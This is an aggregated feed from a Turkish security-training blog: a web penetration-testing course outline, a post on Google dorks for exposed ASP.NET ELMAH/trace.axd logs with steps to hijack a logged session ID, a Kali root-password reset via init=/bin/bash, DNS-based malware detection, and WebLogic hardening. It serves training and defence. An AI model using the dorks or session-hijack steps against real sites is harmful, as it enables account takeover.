    • JBOSS JMX-Console yetkilendirme atlatma zafiyeti istismarı
    • Tomcat kullanılan sistemleri ele geçirme
    Web Uygulama Güvenlik Testlerinde WAF/IPS Atlatma Teknikleri
    • Uygulama güvenlik zafiyetleri karşısında WAF ve IPS
    • Web uygulama testlerinde encoding yöntemleri ve kullanım alanları
    • Encoding teknikleri  ve çeşitleri
    • URL ve HTML  Encoding Kullanarak IPS Şaşırtma
    • HPP(HTTP Parametre Pollution) kullanarak IPS atlatma
    • Şifrelenmiş trafik kullanarak IPS atlatma
    Web Uygulama Güvenlik Bileşenleri ve Temel HTTP Bilgisi
    • İstemci
    • Sunucu
    • Veritabanı
    • Uygulama Sunucusu
    • Network Hattı
    • Temel HTTP Bilgisi
    • HTTP Metodları ve İşlevleri
    • Güvenlik açısından HTTP metodları ve istismarı
    • HTTP PUT desteği aktif web sunucu istismarı
    Web Uygulamalarına Yönelik Keşif Çalışmaları
    • Arama motoru kullanarak web zafiyeti keşif teknikleri
    • Google üzerinden web uygulamalarına ait girdi alanlarının belirlenmesi
    • Google üzerinden hedef sisteme ait web platformu araştırması
    • Önemli arama kriterleri
    • Alt alan adı keşif çalışması
    • Sanal host(virtual host) kullanan sistemleri belirleme
    • Alt dizin keşif çalışması
    • Yönetim panellerine ait dosya/dizinlerin belirlenmesi
    • Dirbuster, Wfuzz araçlarının kullanımı
    • Hata mesajlarından hassas bilgilerin elde edilmesi
    • IPS, WAF keşif çalışmaları
    OWASP TOP 10 (2013) ve Sızma Testlerinde Kullanımı : XSS(Cross Site Scripting) Zafiyeti Denetim Teknikleri
    • XSS tanımı, nedenleri
    • Gerçek hayattan XSS saldırı örnekleri
    • XSS zafiyeti çeşitleri
    • -Stored XSS
    • -Reflected XSS
    • -Dom XSS
    • XSS saldırılarında ilerleme
    • XSS sonucu oturum bilgilerinin elde edilmesi
    • XSS kullanarak zararlı yazılım bulaştırma senaryorsu
    • Klasik XSS engelleme yöntelmeri ve  atlatma teknikleri
    • XSS saldırılarında Beef kullanımı
    • XSS saldırılarında Xss-Proxy ve Xss-tunnel kullanımı
    CSRF (Siteler Arası İstek Sahteciliği) Saldırıları
    • CSRF zafiyeti hakkında temel bilgilendirme
    • Gerçek hayattan CSRF örnekleri
    • Gmail, Amazon.com örnekleri
    • Örnek CSRF saldırı denemeleri
    SQL Enjeksiyonu (SQL Injection) Saldırıları
    • Temel SQL bilgisi ve veritabanı çeşitleri
    • -Mysql temel bilgilendirme
    • -MsSql temel bilgilendirme
    • -Oracle temel bilgilendirme
    • -Postresql temel bilgilendirme
    • Sql injection ve gerçek hayattan saldırı örnekleri
    • SQL Injection çeşitleri
    • -Blind(kör) Sql enjeksiyon saldırıları
    • -Error based(hata tabanlı) sql enjeksiyon saldırıları
    • -Time based(zaman tabanlı) sql enjeksiyon saldırıları
    • -Diğer sqli çeşitleri
    • SQLi kullanarak giriş formu aşma/Authentication Bypass
    • Time Based Blind Sqli Saldırısı belirleme yöntemi
    • Time Based Blind Sqli kullanarak veri çekme - Mssql/Mysql
    • Otomatize SQL Injection saldırıları ve saldırı araçları
    • Sqlmap, Havij, araçlarının kullanımı
    • Veritabanı özelliklerine göre Sql injection denemeleri
    • SQL Injection Saldırılarında İlerleme
    • SQL injection kullanarak işletim sistemi ele geçirme senaryosu
    Zararlı Kod Enjeksiyonu Saldırıları (LFI/RFI)
    • Genel tanımlar ve gerçek hayattan kod enjeksiyonu örnekleri
    • Dizin gezinimi (Directory Treversal)
    • Local File Inclusion
    • Remote File Inclusion
    • LFI kullanarak sistemi uzaktan yönetme
    • URL erişimi kısıtlama problemlerine yönelik denetimler
    Insecure Direct Object Reference Denetim Teknikleri
    • IDOR zafiyeti hakkında temel bilgilendirme
    • Gerçek hayattan örnekler
    • Insecure Direct Object Reference kullanarak yetki şstismarı
    • Session-Id ve cookie bilgilerinin istismar edilmesi ile farklı yetkiye sahip haklara geçiş
    İstemci Korumaları ve Aşma Denetimleri
    • İstemci tarafı güvenlik korumalarını aşma - Java Script
    • İstemci tarafı güvenlik korumalarını aşma - HTML Form
    • Flash kullanılan sitelerde güvenlik zafiyeti arama
    • İstemci tarafında değiştirilebilen HTTP başlık bilgileri ve istismar yöntemleri
    • User-agent değerleri ile mobil uygulamara yönelik testler/atlatma
    • X-forwarded-for başlık bilgisi kullanarak yetkilendirme istismarı
    • Gizli form alanlarındaki değerleri kullanarak istismar yöntemi
    Komut Enjeksiyonu(Command Injection) Saldırıları
    • Nedir, nasıl çalışır?
    • Gerçek hayattan komut enjeksiyonu saldırı örnekleri
    • Örnek komut enjeksiyonu saldırıları
    • Komut enjeksiyonu kullanarak hedef sistemi ele geçirme
    İhlal Edilmiş Kimlik Doğrulama ve Oturum Yönetimi
    • Kimlik Doğrulama Denetimi ve Saldırıları
    • Kimlik doğrulama çeşitleri
    • Form tabanlı kimlik doğrulama
    • Kimlik doğrulama yöntemlerine yönelik parola bulma denemeleri
    • Captcha kullanılan sistemlere yönelik güvenlik testleri
    • Session fixation saldırısı ve etkileri
    HTTP Bağlantı Güvenliğine Yönelik Denetimler
    • SSL/TLS Kavramları
    • TLS çalışma yapısı ve temel güvenlik zafiyetleri
    • Sertifika otoriresi, PKI kavramları ve kullanım alanları
    • SSL konusunda MITM örnekleri
    • SSLStrip kullanarak SSL bağlantılarında  araya girme
    • HTTPS bağlantılard oturum bilgisi/çerezlerin açık olarak elde edilmesi
    • Sidejacking, surfjacking saldırıları ve önlemleri
    Sızma Testlerinde Web Tabanlı Arka Kapı (Backdoor) Kullanımı
    • Backdoor, shell kavramları ve farkları
    • Metasploit kullanarak platforma özel web tabanlı arka kapı oluşturma
    • PHP Shell Oluşturma
    • JSP Shell Oluşturma
    • ASP Shell Oluşturma
    • Antivirüsler tarafından tanınmayacak web shell oluşturma
    • WeBaCoo kullanarak tanınmaz web shell oluşturma örneği
    • Antivirüs atlatma amaçlı shell (Laudanum) kullanımı
    Web ve Uygulamalara Yönelik Dos/DDoS Saldırıları
    • Genel DoS/DDoS saldırıları ve gerçek hayattan örnekler
    • Web uygulamalarına yönelik DoS/DDoS saldırıları
    • HTTP GET Flood DoS/DDoS saldırısı gerçekleştirme
    • HTTP Slowloris DoS saldırısı gerçekleştirme
    • OWASP HTTP DoS aracı kullanarak web stres testleri
    • SSL kullanarak DoS gerçekleştirme
    • THC SSL DoS yazılımı kullanarak ssl tabanlı dos saldırı örneği
    Açık Kaynak Kod ve Ticari Web Güvenliği Tarama Yazılımları
    • Nikto kullanarak statik web güvenlik testleri
    • W3af kullanarak dinamik web güvenlik testleri
    • Netsparker kullanarak dinamik web güvenlik testleri
    • Owasp ZAP, Burp Proxy kullanımı

    Asp.Net Gelişmiş Hata Ayıklama Yazılımları ve Güvenlik Zafiyetleri

    $
    0
    0

    ASP.NET platformu üzerinde yazılan web uygulamalarında elmah, trace gibi hata ayıklama,loglama araçları vardır. Bu araçlar uygulama geliştiricinin veya site yöneticisinin, kullanıcıların karşılaştığı hata sayfaları ile ilgili detaylı bilgiler almasını sağlar. Bu uygulamalar doğru yapılandırılmadığında tuttukları bilgiler( IP, cookie, kullanıcı adı, yerel dizin hatta bazen parola,vb.) herkes tarafından görülebilir. Doğru yapılandırılmayan siteler ayrıca Google tarafındanda önbelleğe alınmış olabilir.

    Böyle siteler ELMAH için,
    • inurl:elmah.axd SqlException
    • inurl:elmah.axd select where from
    • inurl:elmah.axd ASPXAUTH
    Trace.axd için;
    • inurl:”trace.axd” ext:axd “Application Trace” 
    Google arama parametreleriyle tespit edilebilir.

    Ne yapılabilir? 

    IP, kullanıcı adı , yerel dizin,vb bilgiler keşif aşamasında hackerların elini güçlendirecek, saldırının ileriki aşamalarında kullanabilecek öneme sahiptir. 

    Cookie bilgisi ise yetki yükseltmek için kullanılabilir. Mesela siteye giriş yapmış bir yetkili kullanıcı site üzerinde bir hatayla karşılaştığında bu loglanacaktır. Loglanan bilgiler arasında cookie bilgiside varsa Firefox ve Cookies Manager kullanılarak (yada herhangi bir tarayıcı ve cookie yöneticisi kullanılabilir.) o kullanıcı haklarıyla siteye erişim sağlanabilir.

    Nasıl?

    Örnek bir Trace.axd sayfası aşağıdaki gibidir. Session Id değeri, o an için aktif olan bir oturum bilgisini tutmaktadır. Bu değer kopyalanır.


    Herhangi bir cookie düzenleme aracıyla bize ait ASP.NET_SessinId bu değerle değiştirilir. 



    Sayfa yenilendiğinde sisteme o SessionId sahip kullanıcı haklarıyla erişim sağlanır.



    ELMAH tarafından loglanmış, cookie içermeyen ancak bilgi ifşası olan örnek bir sayfa aşağıdaki gibidir. 



    Nasıl Önlem Alınabilir?

    ELMAH varsayılan olarak uzaktan erişime kapalıdır. Daha sonra uygulama geliştirici tarafından uzaktan erişime açılabilir. Eğer gerekli değilse bu erişimin kapatılması gerekir ya da görüntülemek için bir yetkilendirme(authorization) formu koyulmalıdır. Bu işlemin nasıl yapılacağı ELMAH geliştiricisi tarafından şu bağlantı 'da anlatılmıştır.

    Trace.axd'de varsayılan olarak uzaktan erişime kapalıdır. Uzaktan erişim ve yetkilendirme için ELMAH kadar esneklik sunmasada güvenli yapılandırma için şu bağlantı takip edilebilir.




    Bilgi Güvenliği AKADEMİSİ Haziran-Aralık 2014 Eğitim Takvimi

    $
    0
    0
    Yılın ikinci yarısı açmayı planladığımız eğitimlerin listesi ve takvimi belli oldu. Güncel eğitim takvimine http://www.bga.com.tr/egitim-takvimi.html adresinden erişim sağlanabilir.


    Eğitim takvimi Ocak 2014 – Temmuz 2014 arasını içermektedir. Bilgi Güvenliği AKADEMİSİ eğitim tarihleri ve içeriklerde değişiklik yapma hakkını saklı tutmaktadır. Eğitimler hafta içi ve hafta sonu 09-17 saatleri arasında yapılmaktadır.

    Kablosuz Ağ Testlerinde Üzerinde Çalışılan Kanalın -1 de Takılı Kalması

    $
    0
    0
    Kali Linux işletim sisteminde kurulu olarak gelen açık kaynak kodlu araçlar sayesinde Kablosuz Ağ testlerini çok hızlı ve kararlı bir şekilde yapabiliriz. Fakat Kablosuz ağ testlerini yapmak için alacağımız kablosuz adaptörün içerisinde bulunan chipsetlerinin işletim sistemi ile uyumuna dikkat etmemiz gerekiyor. Chipseti ile İşletim sistemi uyumsuzluğu var ise test esnasında çeşitli hatalar alabiliriz. Bu hatalardan birisi
    fixed channel monX: -1”(X bir tamsayı), hatasıdır. Bahsedilen hatayı belirli bir kanal üzerinde çalışma yapmak istediğimizde alırız. Bu uyarı genellikle belirlenen kanal ve Mac adresi için dinleme modunda alınıyor ise bir probleme yol açmaz ve belirlediğiniz özelliklere sahip paketleri dinleyebilirsiniz.
    Bahsedilen uyarıya yol açan örnek bir kullanım için ekran alıntısı.


     Sadece bildirim amaçlı olan uyarıyı aldığımız örnek bir ekran alıntısı.


    Bu ekran alıntısında olduğu gibi uyarı sadece bildirim düzeyinde olup çalışmanızı engellemez.
    Fakat paket enjeksiyonu yapmak istediğimizde aynı sonucu elde edemeyiz. Yani oluşturulan paketleri seçilmiş bir kanal üzerinden seçilmiş bir hedefe göndermek istediğimizde aldığımız uyarı hata niteliğinde olup komutlarımızın çalışmasını engeller.
    Bahsedilen uyarıya yol açan bir kullanım ve hata çıktısı için örnek bir ekran alıntısı.


    Hata çıktısında da belirtildiği gibi işlemlerin gerçekleştirilmesi için kanal -1 den bağlantı beklenilmektedir. Hâlbuki bizim tanımladığımız MAC adreslerine sahip cihazlar kanal 7 de çalışmaktadır. Hata mesajında da belirtildiği gibi bu problemi aşmak için iki yol deneyebiliriz.
    1. Çözüm Yolu
    –ignore-negative-one komutu ile kullanabiliriz. Bu komut sayesinde kanal -1 direk olarak pas geçilir.
    Bu çözüm yolunun kullanıldığı örnek bir ekran alıntısı.


    Ekran alıntısında da görüldüğü gibi, yine aynı uyarıyı alıyoruz fakat komutlarımızın çalışmasını engellememekte.
    2. Çözüm yolu
    Bu çözüm yolunda kablosuz adaptörünüzün chipsetinin Kali Linux tarafından tanınabileceği bir sürücü yazılımını yüklemeniz gerekiyor. Burada şunu unutmayalım, her Chipseti Kali Linux için uyumlu değildir. Bu yazılım araçları ve sürücü yazılımlarının bilgi güvenliği amaçlı kod geliştiricileri tarafından sıfırdan hazırlandığını unutmayalım. Kablosuz ağ güvenliği testleri için kullanabileceğiniz birçok adaptör bulabilirsiniz. Fakat satın almadan önce hangi marka ve modellerin (daha doğrusu chipsetin) uyumlu olduğunu araştırmanızı öneriyorum. Konu ile alakalı bloğumuzdan da faydalanabilirsiniz.
    İlgili makaleye linkten ulaşabilirsiniz.



    Kali Linux İşletim Sisteminde Root Şifresinin Sıfırlanması

    $
    0
    0

    Kali Linux İşletim Sisteminin Root şifresinin Sıfırlanması
    Linux işletim sistemlerinde root şifresi unutulduğu zaman, işletim sistemi “single mod” da açılıp şifre yeniden yapılandırılabilir. Farklı Linux işletim sistemleri için single mod a erişim elde edebilmek için farklı adımlar izlemek gerekebilir. Bu makalede Kali Linux işletim sistemi için rootşifresinin nasıl sıfırlanacağı anlatılacaktır.
    İzlenilecek adımlar;
    1. Kali Linux işletim sistemi başlatılır  
    2. Boot seçenekleri penceresi, ekrana geldiğinde klavyenin yön tuşları ile 2. satırda bulunan recovery mode’u seçilir.
      Not: Daha sonra çıkacak olan sürümlerde boot sıralaması değişebilir, bundan dolayı sıralamadan ziyade seçilen boot modunun ismine dikkat edilmelidir.


      Bu pencere görüntülendiğinde “e” tuşuna basılır (Edit = düzenle). Normalde Kali boot dosyalarını okuma modunda açar, bu işlem ile yazma moduna geçilerek şifre yeniden yapılandırılabilir.
    3. e” tuşuna basıldıktan sonraki ekrana gelecek olan pencere,

     
                   Kırmızı çerçeve içerisine alınan kısımlarda düzenlemeler yapılması gerekiyor.
    a-      ro = “Read Only “ anlamına gelmektedir. Hali hazırda olan konfigürasyonun okunup sistemin hızlı bir şekilde başlatılması için bu değer seçilidir. Bu değerin okuma ve yazma hakları ile aç anlamına gelen “rw” ile değiştirilmelidir.
    b-     initrd=/install/initrd.gz satırının sonuna bir boşluk bırakarak init=/bin/bash komutu eklenir.

    Bu düzenlemelerin yapılmış halinin ekran görüntüsü,

     Sistemi bu hali ile başlatmak için “Ctrl+X” tuş kombinasyonunun kullanılması gerekmektedir.

       4. Ekrana bildirim yazılarının dökülmesi bittiğinde Enter tuşuna basılıp, komut satırının görünürlüğü sağlanmalı. Şimdi şifre değiştirebilir. Gerekli olan komutlar kırmızı çerçeve içeresine alınmıştır.


    Not: Görüldüğü üzere sistem bu modda başlatıldığında, root yetkileri ile açılmasına rağmen şifre istememektedir. Bu yöntem, unutulan şifrelerin tekrar kazanılması adına yararlı bir yöntem olduğu gibi, sistemin fiziksel güvenliği sağlanmadığı takdirde başkalarının sisteme erişimi noktasında bir zafiyet teşkil etmektedir.


     

    Bu aşamadan sonra sistemin güç düğmesi kullanılarak kapatılıp, yeniden açılması gerekmektedir.

    Artık sisteme yeni şifre ile giriş yapılabilir.

    DNS İsteklerini Analiz Ederek Zararlı Yazılım Tespiti

    $
    0
    0
    Zararlı yazılımlar komuta merkezleriyle haberleşmede alanadlarını sıklıkla kullanırlar. Alanladlarının kullanımı, internetin kalınına olduğu gibi zararlı yazılımlara da doğrudan IP adreslerinin kullanımıyla elde edemeyecekleri bir esneklik kazandırır. Bu esneklikten yararlanıp komuta merkezlerinin kapatılmasıyla zararlı yazılım ağının etkisizleştirilmesini zorlaştıracak yöntemler uygulayabilirler.

    1. Alanadındaki Anormalliklerin İncelenmesi:
    Alanadı gözden kaçması amacıyla bilindik bir alanadına çok benzer şekilde seçilmiş olabilir. Örneğin: rnicrosoft.com, 1inkedin.com gibi adreslere şüpheyle yaklaşılması gerekir.


    Algoritmik olarak üretilmiş (bkz: DGA) f3122.com, a112331b.com gibi rasgele harf veya rakamlardan oluşan alanadlarının da detaylı analiz edilmesi gerekmektedir.

    2. Alanadı Kayıtlarının İncelenmesi:
    *nix sistemlerde alanadı kayıtları “whois alanadı” komutuyla elde edilebilir. Windows için de Sysinternals’ın whois aracı kullanılabilir. Whois, alanadıyla ilgili oldukça faydalı bilgiler verir. Örneğin bir Linux terminalde

    “whois asasas.eu”    komutu çalıştırıldığında aşağıdaki çıktı elde edilmektedir.

    % The WHOIS service offered by EURid and the access to the records
    ……………….
    % WHOIS asasas
    Domain:    asasas

    Registrant:
        NOT DISCLOSED!
        Visit www.eurid.eu for webbased whois.

    Reseller:

    Technical:
        Name:    Tech. Service
        Organisation:    Internet.bs Corp.
        Language:    en
        Phone:    +1.2423275277
        Fax:    +1.2423275277
        Email:    euridtech@internet.bs

    Registrar:
        Name:     Internet.bs Corp.
        Website: www.INTERNET.bs

    Name servers:
        ns-canada.topdns.com
        ns-uk.topdns.com
        ns-usa.topdns.com
    ….


    Bu sorgudan detaylı bilgi elde edilemese de www.eurid.eu adresinden bu alanadı için detaylı sorgulama yapılabileceği öğrenilmiştir. Adresin web tabanlı sorgu için kullanılabileceği belirtilmiştir, bu yüzden sorgu bir web tarayıcısı aracılığıyla gerçekleştirilebilir. Aksi durumda “whois -h www.eurid.eu asasas.eu” komutu ile belitilen adresten sorgulama yapılabilirdi.

    Web tabanlı sorgunun çıktısı şu şekildedir:

    Name     asasas
    Status     REGISTERED (What this means)
    Registered     June 13, 2014
    Expiry Date     June 30, 2015
    Last update     June 13, 2014, 3:12 am
    Registrant
    Name     Hans Bruse
    Organisation     hans inc
    Language     German
    Address    

    …..


    Çıktıdan alanadının kayıt tarihi, ne zamana kadar kaydedildiği, en son ne zaman güncellendiği, kaydeden kişinin ve kuruluşun adı gibi bilgiler elde edilebilmektedir. Örnekte görüldüğü gibi alanadının kayıt veya güncellenme tarihinin çok yeni olması, veya süresinin dolmasına çok az kalmış olması, gerçekçi olmayan kişi kurum bilgileri gibi durumlar tek başına yeterli olmamakla beraber alanadının zararlı aktivitieler için kullanıldığına dair ipucu olabilir.

    3. Alanadının Kara Listelerde Aranması:
    Alanadının zararlı olarak kaydedilmiş olma ihtimaline karşı bilindik listelerde ve arama motorlarında aratılması gerekir.
    http://www.malwaredomainlist.com/mdl.php     zararlı adreslerin güncel olarak listelendiği bir servistir.
    http://www.anti-abuse.org/        ise alanadını birçok farklı RBL’de (real time black list) arayıp sonuçları listeleyen bir servistir.

    Bu aşamada alt alanadlarının bulunup incelenmesi de alanadının zararlı olup olmadığı hakkında fikir verebilir. Alt alanadlarının bulunmasında Linux Dnsutils’de bulunan dig komutu, dnsmap veya fierce gibi araçlar kullanılabilir.

    Dig komutuyla hedef alanadının DNS sunucusunda zone transfer özelliği açıksa o sunucudaki tüm DNS kayıtları elde edilebilir.
    “dig NS suphelidomain.org”    komutu ile DNS sunucusu öğrenilir.
    “dig @dnsserver afxr suphelidomain.org”     komutu ile de zone transfer denemesi yapılır.

    $ dig @ns2.3322.net afxr f3322.org
    ; <<>> DiG 9.8.3-P1 <<>> @ns2.3322.net afxr f3322.org
    ; (1 server found)
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 40085
    ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
    ;; WARNING: recursion requested but not available

    ;; QUESTION SECTION:
    ;afxr.                IN    A

    ;; ANSWER SECTION:
    f3322.org.        60    IN    A    101.71.195.119
    ……

    ;; AUTHORITY SECTION:
    f3322.org.        86400    IN    NS    ns2.3322.net.
    f3322.org.        86400    IN    NS    ns1.3322.net.
    ……



    4. Alanadı-IP Çözümlemesinin Analiz Edilmesi:

    “host alanadı”    komutuyla alanadının çözdüğü IP adresleri öğrenilir.
    host f3322.org
    f3322.org has address 101.71.195.119


    Daha sonra öğrenilen IP adresleri
    http://www.malwaredomainlist.com/mdl.php
    http://www.anti-abuse.org/
    adreslerinden kara listelerde aranır.

    Bazı zararlı yazılımlar, özellikle botnetler komuta merkezi olarak kullandıkları sunucuların tespit edilip engellenmesini zorlaştırmak için “fast flux” adı verilen bir yöntem kullanırlar. Bu yöntemle C&C sunucuları farklı servis sağlayıcılarda konuşlandırıp bu sunucuların IP adresleri DNS kayıtlarına girilir. Round-robin mantığıyla DNS çözümlemesinde en üstteki IP adresinin değişmesi sağlanır. Normalde bu yöntem yük dengeleme veya hizmet kesintilerini engelleme amaçlı kullanılmaktadır. Örneğin art arda çalıştırılan iki “host google.com” komutunun çıktısı şu şekildedir.

    $ host google.com
    google.com has address 173.194.70.100
    google.com has address 173.194.70.102
    google.com has address 173.194.70.139
    google.com has address 173.194.70.101
    google.com has address 173.194.70.138
    google.com has address 173.194.70.113
    ….

    $ host google.com
    google.com has address 173.194.70.138
    google.com has address 173.194.70.113
    google.com has address 173.194.70.100
    google.com has address 173.194.70.102
    google.com has address 173.194.70.139
    google.com has address 173.194.70.101
    ….


    Fast flux alanadlarını tespit etmek için bir alanadının daha önce çözdüğü ip adreslerini listeleyebilen
    www.bfk.de
    www.robtex.com/
    servisleri kullanılabilir. Ayrıca robtex.com IP’nin bulunduğu coğrafik bölge bilgisini de vermektedir.

    Fast flux alanadlarının gösterdiği bir diğer anormallik ise DNS kaydı TTL değeridir. IP adresleri sürekli güncellendiğinden dolayı DNS cevaplarının önbelleğe alınması sorun oluşturabilir. Bu yüzden TTL değerinin 0 veya çok küçük bir değer olması gerekir. TTL değeri “dig alanadi.com” komutunun çıktısında görülebilir.

    Yerel ağdaki fast flux alanadlarının yakalanması için Australian Honeynet Project’in Tracker aracı kullanılabilir. Tracker aracını kurmak için sırasıyla aşağıdaki komutlar çalıştırılır.

    (eğer sistemde postgresql kurulu değilse)
    apt-get install postgresql

    sudo -u postgres psql

    CREATE DATABASE fast_flux;
    CREATE USER tracker WITH PASSWORD '123456';
    GRANT ALL PRIVILEGES ON DATABASE fast_flux TO tracker;
    GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA PUBLIC TO tracker;
    \q

    add-to-test-table.pl, test_submission.pl, flux.pl dosyalarından $username ve $password alanları güncellenir.

    $username=‘tracker’
    $password=‘123456’


    Veritabanı yüklenip dosyalar çalıştırılabilir yapılır.

    sudo -u postgres psql fast_flux < setupdb.sql
    chmod u+x add-to-test-table.pl flux.pl test_submission.pl

    Son olarak domains.txt içine şüpheli alanadları yazıldıktan sonra Tracker’ın betikleri şu sırayla çalıştırılır.

    ./add-to-test-table.pl < domains.txt
    hotmail.com     Inserted
    google.com     Inserted
    yahoo.com     Inserted


    ./test-submission.pl
    Looking for new work to do
    Testing Host hotmail.com
    4 Distinct cnt
    Removing Host hotmail.com from the input Table
    Testing Host google.com
    6 Distinct cnt
    Removing Host google.com from the input Table
    Testing Host yahoo.com
    3 Distinct cnt
    Removing Host yahoo.com from the input Table


    ./flux.pl
    Getting New Work
    0
    Checking Domains that have been set to inactive
    Getting New Work
    0
    Checking Domains that have been set to inactive
    Getting New Work
    ….


    flux.pl betiğinin çıktısı incelenerek listedeki fast-flux alanadları belirlenebilir.

    ASN Kayıtlarından ISP IP Bloklarını Öğrenme

    $
    0
    0
    ASN (Autonomous System Number) bilgisi kullanılarak bir IP’nin bulunduğu ISP ve ISP’lerin IP blokları tespit edilebilir.

    Terminalden
    whois -h asn.shadowserver.org 'origin ipadresi’    komutu ile bir IP’nin bulunduğu ISP’nin detayları listelenir. Komutun çıktısında en baştaki numara ASN’dir. Devamında
    whois -h asn.shadowserver.org 'prefix ASN’    komutu ile ISP’nin IP blokları listelenir.




    Aynı yöntemi kullanarak IP bloklarını veya IP adreslerini liste olarak elde etmek için Gökhan Alkan'ın yazdığı get_ip_via_asn.sh betiği (https://github.com/galkan/tools/blob/master/others/programming/bash/get_ip_via_asn.sh) kullanılabilir.

    Betiğin kullanımı:
    CIDR formatında almak için:
    # ./get_ip_via_asn.sh -d bga.com.tr | head -5
    103.21.244.0/24
    103.22.200.0/24
    103.22.201.0/24
    103.22.203.0/24
    103.31.4.0/24

    IP adresi şeklinde almak için:
    # ./get_ip_via_asn.sh -d bga.com.tr -i 1 | head -5
    103.21.244.0
    103.21.244.1
    103.21.244.2
    103.21.244.3
    103.21.244.4
     

    WebLogic Sisteminizi Daha Güvenli Hale Getirmek

    $
    0
    0
    Üç katmanlı web mimarisinde internete açık ve/veya lokal ağda çalışan kritik uygulamaların güvenliğini sağlarken, her katmanda ayrı ayrı güvenlik önlemleri alınır. Bu önlemlerin büyük bölümü firewall katmanına bırakılır ve firewall’dan sonrası büyük çoğunlukça önemsenmez. 

    Oysa saldırıların ve güvenlik zaafların büyük çoğunluğu eski çalışanlar, sistemi detaylı bilenler veya ağ içerisindeki kullanıcılar tarafından yapılır. O bakımdan kiritik uygulamaların güvenlik önlemleri uygulama sunucuları seviyesinde de dikkate alınmalıdır.

    Oracle WebLogic uygulama sunucusu kurumsal java dünyasında yaygın olarak kullanılan bir uygulama sunucusudur. Fakat WebLogic kurulumları çoğunlukla varsayılan konfigürasyonlar ile bırakılır. Eğer aşağıdaki hizmetlere yönelik bir “WebLogic Domain”i yönetiyor ve operasyonunu yürütüyorsanız;

    • ·       Bankacılık Uygulamaları
    • ·       Resmi Kamu Kurum Uygulamaları
    • ·       İnternete açık e-Ticaret Web Uygulamaları

    Üzerinde kritik uygulamanın çalıştığı, yönetimini ve sahipliğini yaptığınız “WebLogic Domain”in güvenliğini güçlü bir şekilde sağlayıp; iç ve dış saldırılara (hacking attacks) karşı önlem almalısınız.

    Bu kritik uygulamalar için hayati önem taşıyan ve büyük çoğunluğu olmazsa olmaz niteliğinde olan teknik detayları aşağıda madde madde sıralıyorum. Ve bu önlemler alındığı takdirde uygulama sunucusu katmanında da ciddi güvenlik önlemleri almış olacaksınız.

    Böylelikle yönetimini yapmış olduğunuz sistem saldırılara karşı çok daha güvenilir ve güçlü olacaktır.
    • Varsayılan port numaraları/değerleri kullanılmamalı. (7001, 7002… vb. gibi)
    • WebLogic Domain için varsayılan admin kullanıcısı olarak “weblogic” değeri tercih edilmemeli.
    • WebLogic başlangıç scriptlerinde admin “kullanıcıadı|parola” bilgileri parameter olarak geçilmemeli. Bunun yerine “-Dweblogic.system.BootIdentityFile=$PATH/boot.properties” değişkeni ve şifrelenmiş “boot.properties” dosyası kullanılmalıdır.
    • WebLogic için “Administration Port” özelliği aktiflenmeli.
    • “Cross Domain Security” özelliği aktif olmalı.
    • WebLogic domain admin konsol için varsayılan “console” context path değeri değiştirilmeli.
    • Custom Identity ve Custom Trust (JKS) kullanılmalı.
    • Gerçek ve geçerli SSL sertifikaları WebLogic instance’lara yüklenmeli ve iç trafik de https olarak düzenlenmeli.
    • “Custom Hostname Verifier” kullanılmalı.
    • “Max Post Size” değeri belirlenmeli. Varsayılan ayar limitsiz şeklindedir.
    • “Frontend Host” ve “Frontend Https Port” değerleri girilmeli
    • “Minimum, Maximum, IO Buffer Sizer” değerleri belirlenip girilmeli
    • JMS kaynakları güvenli hale getirilmeli
    • LDAP otantikasyon ve yetkilendirilme ayarları yapılmalı
    • WebLogic domain için “Administration auditing” açılmalı ve detayları kütüğün yazılması sağlanmalı
    WebLogic üzerinde çalışan kiritik canlı sistem uygulamaların domain yönetiminde, yukarıda sıraladığım konfigürasyonların büyük çoğunluğu yapılmamaktadır ve %99 oranında bu konfigürasyonlar yapılmamış olarak hizmet vermektedir.

    Bu konfigüsyonlar yapılmadığı müddetçe, her bir madde için ayrı saldırı çeşitleri mevcut olup, ilgili WebLogic domain bu saldırılar kaşısında savunmasız durumdadır.

    Eğer önemli bir sistemin WebLogic uygulama yönetimini yapıyorsanız, iki defa düşünün. Güvenlik ayarlarınızı yeniden gözden geçirerek iç ve dış saldırılara karşı güvenliğinizi arttırmanızı önemle tavsiye ediyorum.

    Uygulamaların güvenliğini sağlamak her zaman meşakkatli ve daha fazla bilgi birikimi gerektiriyor. Bu anlamda bu süreç sancılı olabilir fakat en nihayetinde daha güçlü bir kale inşa edeceksinizdir. Uygulama sunucularının güvenlik konfigürasyonları için bir uzmandan destek almaktan kaçınmayınız.


    Kullanıcı kitlemize daha güvenli bir sistem sunmak için herkese ayrı ayrı görevler düşüyor. Siber saldırılara karşı “uygulama sunucusu” katmanında da bu önlemleri almak, uygulama güvenlik duvarını daha da güçlendirecektir.


    M.Fevzi Korkutata (Certified Associate Middleware Consultant) <fevzi.korkutata @ admineer.com >

    BGA BANK - Güven(siz) Internet Bankacılığı Uygulaması

    $
    0
    0
    “BGA BANK (Vulnerable Online Bank Application)” uygulaması PHP tabanlı çeşitli zafiyetler içeren sızma testi eğitim platformudur. Türkiye'deki bankacılık altyapısı incelenerek bu altyapılarda çıkabilecek tüm teknik ve mantıksal hatalar uygulamanın içine eklenmiş ve web uygulama güvenliği konusunda çalışanlar için gerçekci bir sızma testi platformu oluşturulmuştur. Webgoat, DVWA vs gibi benzeri amaçla yazılmış programlardan en temel farkı açıklıkların doğrudan kullanıcıya nerede olduğu ve nasıl istismar edileceği ile ilgili ipucu vermemesidir. 
    BGA BANK altyapısı 3 farklı sistemden oluşmaktadır:

    1- BGA BANK - http://www.bgabank.com
    2- IPS Korumalı Bankacılık Uygulaması - http://ipstest.bgabank.com
    3- WAF Korumalı Bankacılık Uygulaması - http://waftest.bgabank.com

    Böylece bgabank.com'da çalışan bir açıklığın hem IPS hem de WAF sistemleri ile tekrar test edilerek çeşitli evasion tekniklerinin denenmesi de sağlanmış olmaktadır.



    Detay testler icin gerekli internet bankacılık hesap bilgisi bir müddet sadece beta test kullanıcılarına açılmıştır. OWASP'a ait tüm zafiyetler sisteme uygulandıktan sonra genele açık olarak da sunulacaktır.

    BGA Bank - Veritabanı Şeması:



    Zararlı Kod İçeren PDF Dosyalarının Analizi

    $
    0
    0

